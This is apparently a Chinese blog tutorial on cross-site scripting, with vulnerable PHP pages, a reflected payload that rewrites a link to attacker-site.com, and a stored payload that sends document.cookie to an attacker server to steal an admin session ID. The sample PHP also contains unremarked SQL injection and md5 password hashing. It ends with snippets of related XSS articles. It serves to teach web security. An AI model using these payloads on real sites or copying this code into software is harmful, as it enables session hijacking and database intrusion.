XSS 跨站脚本攻击(Cross Site Scripting)

xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。

xss攻击可以分成两种类型:

  1. 非持久型攻击
  2. 持久型攻击

下面我们通过具体例子,了解两种类型xss攻击。

1.非持久型xss攻击

顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

假设有以下index.php页面:

1 <?php
2 $name = $_GET[‘name‘];
3 echo "Welcome $name<br>";
4 echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";
5 ?>

该页面显示两行信息:

  • 从URI获取 ‘name‘ 参数,并在页面显示
  • 显示跳转到一条URL的链接

这时,当攻击者给出以下URL链接:

index.php?name=guest<script>alert(‘attacked‘)</script>

当用户点击该链接时,将产生以下html代码,带‘attacked‘的告警提示框弹出:

Welcome guest
<script>alert(‘attacked‘)</script>
<br>
<a href=‘http://www.cnblogs.com/bangerlee/‘>Click to Download</a>

除了插入alert代码,攻击者还可以通过以下URL实现修改链接的目的:

index.php?name=
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>

当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:

Welcome
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
<br>
<a href=‘http://www.cnblogs.com/bangerlee/‘>Click to Download</a>

用户再点击 "Click to Download" 时,将跳转至攻击者提供的链接。

对于用于攻击的URL,攻击者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更:

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

2.持久型xss攻击

持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。

session背景知识

我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。

这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。

攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。

现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。

 1 <?php
 2 $Host= ‘192.168.1.8‘;
 3 $Dbname= ‘app‘;
 4 $User= ‘yyy‘;
 5 $Password= ‘xxx‘;
 6 $Schema = ‘test‘;
 7
 8 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
 9
10 /* Connect with database asking for a new connection*/
11 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
12
13 /* Error checking the connection string */
14 if (!$Connect) {
15  echo "Database Connection Failure";
16  exit;
17 }
18
19 $query="SELECT user_name,password from $Schema.members where user_name=‘".$_POST[‘user_name‘]."‘;";
20
21 $result=pg_query($Connect,$query);
22 $row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
23
24 $user_pass = md5($_POST[‘pass_word‘]);
25 $user_name = $row[‘user_name‘];
26
27 if(strcmp($user_pass,$row[‘password‘])!=0) {
28  echo "Login failed";
29 }
30 else {
31  # Start the session
32  session_start();
33  $_SESSION[‘USER_NAME‘] = $user_name;
34  echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
35 }
36 ?>

另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。

 1 <?php
 2 session_start();
 3 if(!$_SESSION[‘USER_NAME‘]) {
 4  echo "Need to login";
 5 }
 6 else {
 7  $Host= ‘192.168.1.8‘;
 8  $Dbname= ‘app‘;
 9  $User= ‘yyy‘;
10  $Password= ‘xxx‘;
11  $Schema = ‘test‘;
12  $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
13  $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
14  if($_SERVER[‘REQUEST_METHOD‘] == "POST") {
15   $query="update $Schema.members set display_name=‘".$_POST[‘disp_name‘]."‘ where user_name=‘".$_SESSION[‘USER_NAME‘]."‘;";
16   pg_query($Connect,$query);
17   echo "Update Success";
18  }
19  else {
20   if(strcmp($_SESSION[‘USER_NAME‘],‘admin‘)==0) {
21    echo "Welcome admin<br><hr>";
22    echo "List of user‘s are<br>";
23    $query = "select display_name from $Schema.members where user_name!=‘admin‘";
24    $res = pg_query($Connect,$query);
25    while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
26     echo "$row[display_name]<br>";
27    }
28  }
29  else {
30   echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
31   echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
32   echo "<input type=\"submit\" value=\"Update\">";
33  }
34 }
35 }
36 ?>

注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。

首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:

<a href=# onclick=\"document.location=\‘http://attacker-site.com/xss.php?c=\‘+escape\(document.cookie\)\;\">bangerlee</a>

攻击者提交了条带<a>标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 "bangerlee" 的用户列表将显示,如果 admin 用户点击 "bangerlee" 时,在 "attacker-site.com" 所在的服务器上,攻击者就可以窃取到 admin 的session-id:

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。

当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。

时间: 2024-12-04 21:47:48

XSS 跨站脚本攻击(Cross Site Scripting)的相关文章

xss (Cross Site Scripting)跨站脚本攻击

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS. XSS攻击分成两类: 一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞. 另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构

XSS 跨站脚本攻击 的防御解决方案

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS. 这里我们分上下文来形成一个防御的解决方案,虽然说在某些特殊情况下依然可能会产生XSS,但是如果严格按照此解决方案则能避免大部分XSS攻击. 原则:宁死也不让数据变成可执行的代码,不信任任何用户的数据,严格区分数据和代码. XSS 的攻击原理这里不再阐述,详情请移步 WIKI百科 或 百度百科. 既然是将数据给注入到代码里面

XSS跨站脚本攻击实验

XSS攻击的原理.方法.常用技巧, 相关防范措施 跨站脚本攻击(Cross Site Scripting,XSS) 漏洞在Web应用中很常见.攻击者可以通过XSS注入恶意代码(一般指为js程序)至受害者的浏览器,进而窃取受害者认证信息. XSS注入有很多实现方式,可将XSS攻击大致分为存储型XSS.反射型XSS和DOM型XSS. 1)存储型XSS 存储型XSS攻击流程如下: (1) 黑客在目标服务器(正常服务器)上构造XSS恶意脚本,并将其保存在数据库中: (2) 用户登录目标服务器,查看了存在

XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)

本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet 介绍 本文描述了一种恰当地使用输出转码或者转义(encoding or escaping)防御XSS攻击的简单积极模式. 尽管存在巨量XSS攻击方式,遵守一些简单的规则能够彻底防住这类严重的攻击. 本文不探讨XSS攻击的商业和技术影响. reflected and stored XSS 可以

Fortify漏洞之Cross-Site Scripting(XSS 跨站脚本攻击)

书接上文,继续对Fortify漏洞进行总结,本篇主要针对XSS跨站脚步攻击漏洞进行总结如下: 1.Cross-Site Scripting(XSS 跨站脚本攻击) 1.1.产生原因: 1. 数据通过一个不可信赖的数据源进入 Web 应用程序.对于 Reflected XSS(反射型),不可信赖的源通常为 Web 请求,只影响攻击到当前操作用户:而对于 Persisted(也称为 Stored 持久型)XSS,该源通常为数据库或其他后端数据存储,可能影响多操作用户. 2. 未检验包含在动态内容中的

PHP漏洞全解(四)-xss跨站脚本攻击

本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站.攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇 请求.修改口令和下载非法的内容等请求. XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS 跨站脚本主要

网络安全系列之二十三 XSS跨站脚本攻击1

跨站脚本攻击(Cross Site Scripting)指的是恶意攻击者往Web页面里插入恶意脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的. 为了与层叠样式表(Cascading Style Sheets)的缩写CSS区分开,跨站脚本攻击通常简写为XSS. 为了更好地理解XSS攻击,我们需要搭建一个php环境,这里仍然推荐使用NPMserv,软件下载地址:http://down.51cto.com/data/1886128. 我们首先编写一个

Web安全之XSS跨站脚本攻击

本文主要选择常见web攻击手段之一的XSS(跨站点脚本攻击)来进行讲解,说明其攻击原理,并提出相应的解决办法. XSS XSS 攻击,全称是"跨站点脚本攻击"(Cross Site Scripting),之所以缩写为 XSS,主要是为了和"层叠样式表"(Cascading Style Sheets,CSS)区别开,以免混淆. XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其他用户使用的页面中.XSS是针对Web站点的客户隐

[安全相关]XSS跨站脚本攻击

xss定义: xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制. XSS 全称“跨站脚本”,是注入攻击的一种.其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本.这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面